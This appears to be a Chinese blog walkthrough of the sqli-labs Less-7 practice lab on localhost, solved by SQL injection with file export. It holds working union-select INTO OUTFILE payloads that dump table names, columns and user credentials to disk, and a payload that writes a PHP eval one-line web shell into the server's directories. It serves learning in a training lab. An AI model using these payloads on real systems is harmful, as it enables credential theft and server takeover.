sqli-labs Less-7
第七关开始考察到了数据库的文件操作
老规矩先判断下闭合类型(顺序为我测试时试验的顺序,根据个人习惯来就好):
http://localhost/sqli-labs/Less-7/index.php?id=1
http://localhost/sqli-labs/Less-7/index.php?id=1'
http://localhost/sqli-labs/Less-7/index.php?id=1"
http://localhost/sqli-labs/Less-7/index.php?id=1'--+
http://localhost/sqli-labs/Less-7/index.php?id=1')--+
最终判断:
http://localhost/sqli-labs/Less-7/index.php?id=1'))--+
判断字段数什么的不说了,每一关都一样了,不想再写了,想看的可以翻翻之前的博客
看其中的页面提示,想到两种方法,一种是权限足够情况用outfile将文件导出,另一种是注入木马获取权限用菜刀链接(还没搞好,菜刀连接有问题)
前提准备:
进入目录D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini
(我的安装路径是这个),根据自己安装路径找到my.ini,加入红框内容
方法1
先测试一下文件能不能正常导出
http://localhost/sqli-labs/Less-7/index.php?id=-1')) union select 1,2,3 into outfile "D:\\1.txt"--+
那一下就变得简单起来了
导出数据库名称:
http://localhost/sqli-labs/Less-7/index.php?id=1')) union select 1,2,database() into outfile "D:\\2.txt"--+
导出数据库字段:
http://localhost/sqli-labs/Less-7/index.php?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "D:\\3.txt"--+
导出users表字段:
http://localhost/sqli-labs/Less-7/index.php?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' into outfile "D:\\4.txt"--+
导出username和password:
http://localhost/sqli-labs/Less-7/index.php?id=-1')) union select group_concat(username),0x0d,group_concat(password) from users into outfile "D:\\5.txt"--+
这里为了防止username和password全在一行不好分隔,加入了一个换行符0x0d
方法2(没搞定菜刀部分)
在已知能导出文件的前提下,找到数据库根目录
http://localhost/sqli-labs/Less-7/index.php?id=-1')) union select 1,2,@@datadir into outfile "D:\\11.txt"--+
写入一句话木马
http://localhost/sqli-labs/Less-7/index.php?id=-1')) union select 1,2,"<php @eval($_POST['pass']); ?>" into outfile "D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\a.php"--+
然后发现菜刀连不上,一直报错200,还没有搞懂,注入原理就是这样,等我再琢磨一下搞一搞菜刀